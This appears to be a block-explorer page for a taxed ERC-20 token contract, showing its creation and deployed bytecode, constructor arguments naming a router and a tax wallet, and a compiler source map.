65b5f60208284031215611a61575f80fd5b81518015158114611517575f80fd5b5f60208284031215611a80575f80fd5b815161151781611835565b5f805f60608486031215611a9d575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156104fa576104fa611938565b808201808211156104fa576104fa611938565b5f60018201611aed57611aed611938565b5060010190565b6001600160a01b03828116828216039080821115611b1457611b14611938565b5092915050565b5f82611b3557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b9e5784516001600160a01b031683529383019391830191600101611b79565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207b45e09fb42a5022f9de82259892b502a67958045c9853d71347df35025e7dc064736f6c634300081800330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000050f74d5579fe79556bebde54e10f86948f295932

Deployed Bytecode

0x60806040526004361061014a575f3560e01c80638a8c523c116100b3578063a6b342001161006d578063a6b34200146103a4578063a9059cbb146103b9578063d5461a17146103d8578063dd62ed3e146103ed578063f2fde38b14610431578063f5b3c3bf14610450575f80fd5b80638a8c523c146103005780638cc35343146103145780638cd4426d146103295780638da5cb5b1461034857806395d89b41146103645780639e78fb4f14610390575f80fd5b8063313ce56711610104578063313ce567146102335780633b61fc2e1461024e57806370a0823114610285578063715018a6146102b9578063751039fc146102cd5780638980f11f146102e1575f80fd5b80630614117a1461015557806306fdde031461016b578063095ea7b3146101ae57806318160ddd146101dd5780631c5a4687146101ff57806323b872dd14610214575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5061016961047e565b005b348015610176575f80fd5b5060408051808201909152600981526821b0ba26b7ba3432b960b91b60208201525b6040516101a591906117e9565b60405180910390f35b3480156101b9575f80fd5b506101cd6101c8366004611849565b6104ea565b60405190151581526020016101a5565b3480156101e8575f80fd5b506101f1610500565b6040519081526020016101a5565b34801561020a575f80fd5b506101f1600f5481565b34801561021f575f80fd5b506101cd61022e366004611873565b610520565b34801561023e575f80fd5b50604051600981526020016101a5565b348015610259575f80fd5b5060135461026d906001600160a01b031681565b6040516001600160a01b0390911681526020016101a5565b348015610290575f80fd5b506101f161029f3660046118b1565b6001600160a01b03165f9081526001602052604090205490565b3480156102c4575f80fd5b50610169610587565b3480156102d8575f80fd5b506101696105f8565b3480156102ec575f80fd5b506101696102fb366004611849565b6106a9565b34801561030b575f80fd5b5061016961074b565b34801561031f575f80fd5b506101f160105481565b348015610334575f80fd5b50610169610343366004611849565b61078d565b348015610353575f80fd5b505f546001600160a01b031661026d565b34801561036f575f80fd5b50604080518082019091526004815263111554d560e21b6020820152610198565b34801561039b575f80fd5b506101696107ac565b3480156103af575f80fd5b506101f160115481565b3480156103c4575f80fd5b506101cd6103d3366004611849565b610b55565b3480156103e3575f80fd5b506101f1600e5481565b3480156103f8575f80fd5b506101f16104073660046118cc565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561043c575f80fd5b5061016961044b3660046118b1565b610b61565b34801561045b575f80fd5b506101cd61046a3660046118b1565b60046020525f908152604090205460ff1681565b5f546001600160a01b031633146104b05760405162461bcd60e51b81526004016104a790611903565b60405180910390fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156104e7573d5f803e3d5ffd5b50565b5f6104f6338484610c48565b5060015b92915050565b5f61050d6009600a611a2c565b61051b90633b9aca00611a3a565b905090565b5f61052c848484610d6b565b61057d843361057885604051806060016040528060288152602001611bc0602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611461565b610c48565b5060019392505050565b5f546001600160a01b031633146105b05760405162461bcd60e51b81526004016104a790611903565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106215760405162461bcd60e51b81526004016104a790611903565b61062d6009600a611a2c565b61063b90633b9aca00611a3a565b600e5561064a6009600a611a2c565b61065890633b9aca00611a3a565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106886009600a611a2c565b61069690633b9aca00611a3a565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106d25760405162461bcd60e51b81526004016104a790611903565b60055460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303815f875af1158015610722573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107469190611a51565b505050565b5f546001600160a01b031633146107745760405162461bcd60e51b81526004016104a790611903565b6013805462ff00ff60a01b19166201000160a01b179055565b6005546001600160a01b0316336001600160a01b0316146106d2575f80fd5b5f546001600160a01b031633146107d55760405162461bcd60e51b81526004016104a790611903565b601354600160a01b900460ff161561082f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104a7565b60125461085b9030906001600160a01b031661084d6009600a611a2c565b61057890633b9aca00611a3a565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ab573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108cf9190611a70565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561092e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109529190611a70565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561099c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c09190611a70565b601380546001600160a01b039283166001600160a01b0319909116811782555f908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556012541663f305d7194730610a3e816001600160a01b03165f9081526001602052604090205490565b5f80610a515f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ab7573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610adc9190611a8b565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b31573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104e79190611a51565b5f6104f6338484610d6b565b5f546001600160a01b03163314610b8a5760405162461bcd60e51b81526004016104a790611903565b6001600160a01b038116610bef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104a7565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610caa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a7565b6001600160a01b038216610d0b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dcf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a7565b6001600160a01b038216610e315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a7565b5f8111610e925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104a7565b5f8381610ea05f1980611ab6565b6005549091506001600160a01b0316610ec05f546001600160a01b031690565b6001600160a01b0316876001600160a01b031614158015610eee57505f546001600160a01b03878116911614155b8015610f0357506001600160a01b0387163014155b15611313578083036001600160a01b03169150610f426064610f3c600a54600d5411610f3157600654610f35565b6008545b8890611499565b9061151e565b6001600160a01b0388165f9081526004602052604090205490945060ff168015610f7a57506012546001600160a01b03878116911614155b8015610f9e57506001600160a01b0386165f9081526003602052604090205460ff16155b156110d357601354600160a01b900460ff16610ff25760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b60448201526064016104a7565b600e548511156110445760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104a7565b600f5485611066886001600160a01b03165f9081526001602052604090205490565b6110709190611ac9565b11156110be5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104a7565b600d8054905f6110cd83611adc565b91905055505b6001600160a01b0386165f9081526004602052604090205460ff1615801561111357506001600160a01b0386165f9081526003602052604090205460ff16155b1561119257600f548561113a886001600160a01b03165f9081526001602052604090205490565b6111449190611ac9565b11156111925760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104a7565b6001600160a01b0386165f9081526004602052604090205460ff16156111da576111d76064610f3c600b54600d54116111cd57600754610f35565b6009548890611499565b93505b6001600160a01b0387165f9081526004602052604090205460ff1615801561121a57506001600160a01b0386165f9081526004602052604090205460ff16155b15611223575f93505b305f90815260016020526040902054821580159061126357505f6112556002600160a01b036001600160a01b03611af4565b6001600160a01b0316935083115b50601354600160a81b900460ff1615801561129557506001600160a01b0387165f9081526004602052604090205460ff165b80156112aa5750601354600160b01b900460ff165b80156112b7575060105481115b80156112c65750600c54600d54115b156112e8576112e86112e3876112de8460115461155f565b61155f565b611573565b6001600160a01b0387165f9081526004602052604090205460ff161561131157611311476116e3565b505b5f61131e8684611a3a565b9050841561139857305f9081526001602052604090205461133f908661171e565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061138f9089815260200190565b60405180910390a35b6001600160a01b0388165f908152600160205260409020546113ba908261177c565b6001600160a01b0389165f908152600160205260409020556113fd6113df878761177c565b6001600160a01b0389165f908152600160205260409020549061171e565b6001600160a01b038089165f8181526001602052604090209290925589167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611446898961177c565b60405190815260200160405180910390a35050505050505050565b5f81848411156114845760405162461bcd60e51b81526004016104a791906117e9565b505f6114908486611ab6565b95945050505050565b5f825f036114a857505f6104fa565b5f6114b38385611a3a565b9050826114c08583611b1b565b146115175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104a7565b9392505050565b5f61151783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117bd565b5f81831161156d5782611517565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106115b9576115b9611b3a565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611610573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116349190611a70565b8160018151811061164757611647611b3a565b6001600160a01b03928316602091820292909201015260125461166d9130911684610c48565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906116a59085905f90869030904290600401611b4e565b5f604051808303815f87803b1580156116bc575f80fd5b505af11580156116ce573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561171a573d5f803e3d5ffd5b5050565b5f8061172a8385611ac9565b9050838110156115175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a7565b5f61151783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611461565b5f81836117dd5760405162461bcd60e51b81526004016104a791906117e9565b505f6114908486611b1b565b5f602080835283518060208501525f5b81811015611815578581018301518582016040015282016117f9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104e7575f80fd5b5f806040838503121561185a575f80fd5b823561186581611835565b946020939093013593505050565b5f805f60608486031215611885575f80fd5b833561189081611835565b925060208401356118a081611835565b929592945050506040919091013590565b5f602082840312156118c1575f80fd5b813561151781611835565b5f80604083850312156118dd575f80fd5b82356118e881611835565b915060208301356118f881611835565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561198657815f190482111561196c5761196c611938565b8085161561197957918102915b93841c9390800290611951565b509250929050565b5f8261199c575060016104fa565b816119a857505f6104fa565b81600181146119be57600281146119c8576119e4565b60019150506104fa565b60ff8411156119d9576119d9611938565b50506001821b6104fa565b5060208310610133831016604e8410600b8410161715611a07575081810a6104fa565b611a11838361194c565b805f1904821115611a2457611a24611938565b029392505050565b5f61151760ff84168361198e565b80820281158282048414176104fa576104fa611938565b5f60208284031215611a61575f80fd5b81518015158114611517575f80fd5b5f60208284031215611a80575f80fd5b815161151781611835565b5f805f60608486031215611a9d575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156104fa576104fa611938565b808201808211156104fa576104fa611938565b5f60018201611aed57611aed611938565b5060010190565b6001600160a01b03828116828216039080821115611b1457611b14611938565b5092915050565b5f82611b3557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b9e5784516001600160a01b031683529383019391830191600101611b79565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207b45e09fb42a5022f9de82259892b502a67958045c9853d71347df35025e7dc064736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000050f74d5579fe79556bebde54e10f86948f295932

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : taxWallet (address): 0x50F74D5579FE79556bebDE54E10F86948f295932

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 00000000000000000000000050f74d5579fe79556bebde54e10f86948f295932


Deployed Bytecode Sourcemap

4153:10248:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13294:108;;;;;;;;;;;;;:::i;:::-;;6110:83;;;;;;;;;;-1:-1:-1;6180:5:0;;;;;;;;;;;;-1:-1:-1;;;6180:5:0;;;;6110:83;;;;;;;:::i;:::-;;;;;;;;6994:186;;;;;;;;;;-1:-1:-1;6994:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6994:186:0;1023:187:1;6387:96:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6387:96:0;1215:177:1;5151:62:0;;;;;;;;;;;;;;;;7188:446;;;;;;;;;;-1:-1:-1;7188:446:0;;;;;:::i;:::-;;:::i;6296:83::-;;;;;;;;;;-1:-1:-1;6296:83:0;;4891:1;2000:36:1;;1988:2;1973:18;6296:83:0;1858:184:1;5416:33:0;;;;;;;;;;-1:-1:-1;5416:33:0;;;;-1:-1:-1;;;;;5416:33:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;5416:33:0;2047:203:1;6491:119:0;;;;;;;;;;-1:-1:-1;6491:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6584:18:0;6557:7;6584:18;;;:9;:18;;;;;;;6491:119;2889:148;;;;;;;;;;;;;:::i;12475:169::-;;;;;;;;;;;;;:::i;12123:164::-;;;;;;;;;;-1:-1:-1;12123:164:0;;;;;:::i;:::-;;:::i;14243:118::-;;;;;;;;;;;;;:::i;5220:65::-;;;;;;;;;;;;;;;;12295:172;;;;;;;;;;-1:-1:-1;12295:172:0;;;;;:::i;:::-;;:::i;2675:79::-;;;;;;;;;;-1:-1:-1;2713:7:0;2740:6;-1:-1:-1;;;;;2740:6:0;2675:79;;6201:87;;;;;;;;;;-1:-1:-1;6273:7:0;;;;;;;;;;;;-1:-1:-1;;;6273:7:0;;;;6201:87;;13410:825;;;;;;;;;;;;;:::i;5292:59::-;;;;;;;;;;;;;;;;6618:192;;;;;;;;;;-1:-1:-1;6618:192:0;;;;;:::i;:::-;;:::i;5084:60::-;;;;;;;;;;;;;;;;6818:168;;;;;;;;;;-1:-1:-1;6818:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6951:18:0;;;6924:7;6951:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6818:168;3045:281;;;;;;;;;;-1:-1:-1;3045:281:0;;;;;:::i;:::-;;:::i;4412:42::-;;;;;;;;;;-1:-1:-1;4412:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13294:108;2802:6;;-1:-1:-1;;;;;2802:6:0;290:10;2802:22;2794:67;;;;-1:-1:-1;;;2794:67:0;;;;;;;:::i;:::-;;;;;;;;;2713:7;2740:6;;13346:48:::1;::::0;-1:-1:-1;;;;;2740:6:0;;;;13372:21:::1;13346:48:::0;::::1;;;::::0;13372:21;;13346:48;2713:7;13346:48;13372:21;2740:6;13346:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13294:108::o:0;6994:186::-;7094:4;7111:39;290:10;7134:7;7143:6;7111:8;:39::i;:::-;-1:-1:-1;7168:4:0;6994:186;;;;;:::o;6387:96::-;6440:7;4951:15;4891:1;4951:2;:15;:::i;:::-;4935:31;;:13;:31;:::i;:::-;6460:15;;6387:96;:::o;7188:446::-;7320:4;7337:36;7347:6;7355:9;7366:6;7337:9;:36::i;:::-;7384:220;7407:6;290:10;7455:138;7511:6;7455:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7455:19:0;;;;;;:11;:19;;;;;;;;290:10;7455:33;;;;;;;;;;:37;:138::i;:::-;7384:8;:220::i;:::-;-1:-1:-1;7622:4:0;7188:446;;;;;:::o;2889:148::-;2802:6;;-1:-1:-1;;;;;2802:6:0;290:10;2802:22;2794:67;;;;-1:-1:-1;;;2794:67:0;;;;;;;:::i;:::-;2996:1:::1;2980:6:::0;;2959:40:::1;::::0;-1:-1:-1;;;;;2980:6:0;;::::1;::::0;2959:40:::1;::::0;2996:1;;2959:40:::1;3027:1;3010:19:::0;;-1:-1:-1;;;;;;3010:19:0::1;::::0;;2889:148::o;12475:169::-;2802:6;;-1:-1:-1;;;;;2802:6:0;290:10;2802:22;2794:67;;;;-1:-1:-1;;;2794:67:0;;;;;;;:::i;:::-;4951:15:::1;4891:1;4951:2;:15;:::i;:::-;4935:31;::::0;:13:::1;:31;:::i;:::-;12529:14;:25:::0;4951:15:::1;4891:1;4951:2;:15;:::i;:::-;4935:31;::::0;:13:::1;:31;:::i;:::-;12565:16;:27:::0;12608:28:::1;4951:15;4891:1;4951:2;:15;:::i;:::-;4935:31;::::0;:13:::1;:31;:::i;:::-;12608:28;::::0;1361:25:1;;;1349:2;1334:18;12608:28:0::1;;;;;;;12475:169::o:0;12123:164::-;2802:6;;-1:-1:-1;;;;;2802:6:0;290:10;2802:22;2794:67;;;;-1:-1:-1;;;2794:67:0;;;;;;;:::i;:::-;12261:8:::1;::::0;12235:44:::1;::::0;-1:-1:-1;;;12235:44:0;;-1:-1:-1;;;;;12261:8:0;;::::1;12235:44;::::0;::::1;5125:51:1::0;5192:18;;;5185:34;;;12235:25:0;;::::1;::::0;::::1;::::0;5098:18:1;;12235:44:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12123:164:::0;;:::o;14243:118::-;2802:6;;-1:-1:-1;;;;;2802:6:0;290:10;2802:22;2794:67;;;;-1:-1:-1;;;2794:67:0;;;;;;;:::i;:::-;14298:15:::1;:22:::0;;-1:-1:-1;;;;14331:22:0;-1:-1:-1;;;14331:22:0;;;14243:118::o;12295:172::-;12395:8;;-1:-1:-1;;;;;12395:8:0;290:10;-1:-1:-1;;;;;12379:24:0;;12371:33;;;;;13410:825;2802:6;;-1:-1:-1;;;;;2802:6:0;290:10;2802:22;2794:67;;;;-1:-1:-1;;;2794:67:0;;;;;;;:::i;:::-;13471:15:::1;::::0;-1:-1:-1;;;13471:15:0;::::1;;;13470:16;13462:52;;;::::0;-1:-1:-1;;;13462:52:0;;5714:2:1;13462:52:0::1;::::0;::::1;5696:21:1::0;5753:2;5733:18;;;5726:30;5792:25;5772:18;;;5765:53;5835:18;;13462:52:0::1;5512:347:1::0;13462:52:0::1;13557:22;::::0;13525:66:::1;::::0;13542:4:::1;::::0;-1:-1:-1;;;;;13557:22:0::1;4951:15;4891:1;4951:2;:15;:::i;:::-;4935:31;::::0;:13:::1;:31;:::i;13525:66::-;13641:22;;;;;;;;;-1:-1:-1::0;;;;;13641:22:0::1;-1:-1:-1::0;;;;;13641:30:0::1;;:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13623:76:0::1;;13708:4;13715:22;;;;;;;;;-1:-1:-1::0;;;;;13715:22:0::1;-1:-1:-1::0;;;;;13715:27:0::1;;:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13623:122;::::0;-1:-1:-1;;;;;;13623:122:0::1;::::0;;;;;;-1:-1:-1;;;;;6350:15:1;;;13623:122:0::1;::::0;::::1;6332:34:1::0;6402:15;;6382:18;;;6375:43;6267:18;;13623:122:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13602:18;:143:::0;;-1:-1:-1;;;;;13602:143:0;;::::1;-1:-1:-1::0;;;;;;13602:143:0;;::::1;::::0;::::1;::::0;;:18:::1;13756:39:::0;;;:10:::1;:39;::::0;;;;;;;:46;;-1:-1:-1;;13756:46:0;;::::1;13602:143:::0;13756:46;;::::1;::::0;;;13828:18;;;::::1;13813:35:::0;;:6:::1;:35:::0;;;;;;:42;;;;::::1;;::::0;;13866:22:::1;::::0;::::1;:38;13912:21;13957:4;13977:24;13957:4:::0;-1:-1:-1;;;;;6584:18:0;6557:7;6584:18;;;:9;:18;;;;;;;6491:119;13977:24:::1;14016:1;14032::::0;14048:7:::1;2713::::0;2740:6;-1:-1:-1;;;;;2740:6:0;;2675:79;14048:7:::1;13866:230;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13866:230:0;;;-1:-1:-1;;;;;6788:15:1;;;13866:230:0::1;::::0;::::1;6770:34:1::0;6820:18;;;6813:34;;;;6863:18;;;6856:34;;;;6906:18;;;6899:34;6970:15;;;6949:19;;;6942:44;14070:15:0::1;7002:19:1::0;;;6995:35;6704:19;;13866:230:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;14114:18:0::1;::::0;14164:22:::1;::::0;14107:120:::1;::::0;-1:-1:-1;;;14107:120:0;;-1:-1:-1;;;;;14164:22:0;;::::1;14107:120;::::0;::::1;5125:51:1::0;-1:-1:-1;;5192:18:1;;;5185:34;14114:18:0;::::1;::::0;-1:-1:-1;14107:34:0::1;::::0;5098:18:1;;14107:120:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;6618:192::-:0;6721:4;6738:42;290:10;6762:9;6773:6;6738:9;:42::i;3045:281::-;2802:6;;-1:-1:-1;;;;;2802:6:0;290:10;2802:22;2794:67;;;;-1:-1:-1;;;2794:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3148:22:0;::::1;3126:110;;;::::0;-1:-1:-1;;;3126:110:0;;7833:2:1;3126:110:0::1;::::0;::::1;7815:21:1::0;7872:2;7852:18;;;7845:30;7911:34;7891:18;;;7884:62;-1:-1:-1;;;7962:18:1;;;7955:36;8008:19;;3126:110:0::1;7631:402:1::0;3126:110:0::1;3273:6;::::0;;3252:38:::1;::::0;-1:-1:-1;;;;;3252:38:0;;::::1;::::0;3273:6;::::1;::::0;3252:38:::1;::::0;::::1;3301:6;:17:::0;;-1:-1:-1;;;;;;3301:17:0::1;-1:-1:-1::0;;;;;3301:17:0;;;::::1;::::0;;;::::1;::::0;;3045:281::o;7642:335::-;-1:-1:-1;;;;;7735:19:0;;7727:68;;;;-1:-1:-1;;;7727:68:0;;8240:2:1;7727:68:0;;;8222:21:1;8279:2;8259:18;;;8252:30;8318:34;8298:18;;;8291:62;-1:-1:-1;;;8369:18:1;;;8362:34;8413:19;;7727:68:0;8038:400:1;7727:68:0;-1:-1:-1;;;;;7814:21:0;;7806:68;;;;-1:-1:-1;;;7806:68:0;;8645:2:1;7806:68:0;;;8627:21:1;8684:2;8664:18;;;8657:30;8723:34;8703:18;;;8696:62;-1:-1:-1;;;8774:18:1;;;8767:32;8816:19;;7806:68:0;8443:398:1;7806:68:0;-1:-1:-1;;;;;7885:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7937:32;;1361:25:1;;;7937:32:0;;1334:18:1;7937:32:0;;;;;;;7642:335;;;:::o;7985:4015::-;-1:-1:-1;;;;;8143:26:0;;8121:113;;;;-1:-1:-1;;;8121:113:0;;9048:2:1;8121:113:0;;;9030:21:1;9087:2;9067:18;;;9060:30;9126:34;9106:18;;;9099:62;-1:-1:-1;;;9177:18:1;;;9170:35;9222:19;;8121:113:0;8846:401:1;8121:113:0;-1:-1:-1;;;;;8267:25:0;;8245:110;;;;-1:-1:-1;;;8245:110:0;;9454:2:1;8245:110:0;;;9436:21:1;9493:2;9473:18;;;9466:30;9532:34;9512:18;;;9505:62;-1:-1:-1;;;9583:18:1;;;9576:33;9626:19;;8245:110:0;9252:399:1;8245:110:0;8388:1;8374:11;:15;8366:69;;;;-1:-1:-1;;;8366:69:0;;9858:2:1;8366:69:0;;;9840:21:1;9897:2;9877:18;;;9870:30;9936:34;9916:18;;;9909:62;-1:-1:-1;;;9987:18:1;;;9980:39;10036:19;;8366:69:0;9656:405:1;8366:69:0;8446:23;8516:12;8446:23;8560:111;-1:-1:-1;;8593:78:0;8560:111;:::i;:::-;8723:8;;8540:131;;-1:-1:-1;;;;;;8723:8:0;8778:7;2713;2740:6;-1:-1:-1;;;;;2740:6:0;;2675:79;8778:7;-1:-1:-1;;;;;8762:23:0;:12;-1:-1:-1;;;;;8762:23:0;;;:62;;;;-1:-1:-1;2713:7:0;2740:6;-1:-1:-1;;;;;8802:22:0;;;2740:6;;8802:22;;8762:62;:108;;;;-1:-1:-1;;;;;;8841:29:0;;8865:4;8841:29;;8762:108;8744:2619;;;8954:12;8938:13;:28;-1:-1:-1;;;;;8926:40:0;;;9014:221;9231:3;9014:194;9085:17;;9071:11;;:31;9070:119;;9173:16;;9070:119;;;9131:14;;9070:119;9014:11;;:33;:194::i;:::-;:216;;:221::i;:::-;-1:-1:-1;;;;;9274:24:0;;;;;;:10;:24;;;;;;8996:239;;-1:-1:-1;9274:24:0;;:91;;;;-1:-1:-1;9342:22:0;;-1:-1:-1;;;;;9319:46:0;;;9342:22;;9319:46;;9274:91;:132;;;;-1:-1:-1;;;;;;9387:19:0;;;;;;:6;:19;;;;;;;;9386:20;9274:132;9252:608;;;9449:15;;-1:-1:-1;;;9449:15:0;;;;9441:47;;;;-1:-1:-1;;;9441:47:0;;10401:2:1;9441:47:0;;;10383:21:1;10440:2;10420:18;;;10413:30;-1:-1:-1;;;10459:18:1;;;10452:49;10518:18;;9441:47:0;10199:343:1;9441:47:0;9552:14;;9537:11;:29;;9507:128;;;;-1:-1:-1;;;9507:128:0;;10749:2:1;9507:128:0;;;10731:21:1;10788:2;10768:18;;;10761:30;10827:27;10807:18;;;10800:55;10872:18;;9507:128:0;10547:349:1;9507:128:0;9724:16;;9709:11;9684:22;9694:11;-1:-1:-1;;;;;6584:18:0;6557:7;6584:18;;;:9;:18;;;;;;;6491:119;9684:22;:36;;;;:::i;:::-;:56;;9654:156;;;;-1:-1:-1;;;9654:156:0;;11233:2:1;9654:156:0;;;11215:21:1;11272:2;11252:18;;;11245:30;11311:28;11291:18;;;11284:56;11357:18;;9654:156:0;11031:350:1;9654:156:0;9831:11;:13;;;:11;:13;;;:::i;:::-;;;;;;9252:608;-1:-1:-1;;;;;9881:23:0;;;;;;:10;:23;;;;;;;;9880:24;:48;;;;-1:-1:-1;;;;;;9909:19:0;;;;;;:6;:19;;;;;;;;9908:20;9880:48;9876:245;;;10019:16;;10004:11;9979:22;9989:11;-1:-1:-1;;;;;6584:18:0;6557:7;6584:18;;;:9;:18;;;;;;;6491:119;9979:22;:36;;;;:::i;:::-;:56;;9949:156;;;;-1:-1:-1;;;9949:156:0;;11233:2:1;9949:156:0;;;11215:21:1;11272:2;11252:18;;;11245:30;11311:28;11291:18;;;11284:56;11357:18;;9949:156:0;11031:350:1;9949:156:0;-1:-1:-1;;;;;10141:23:0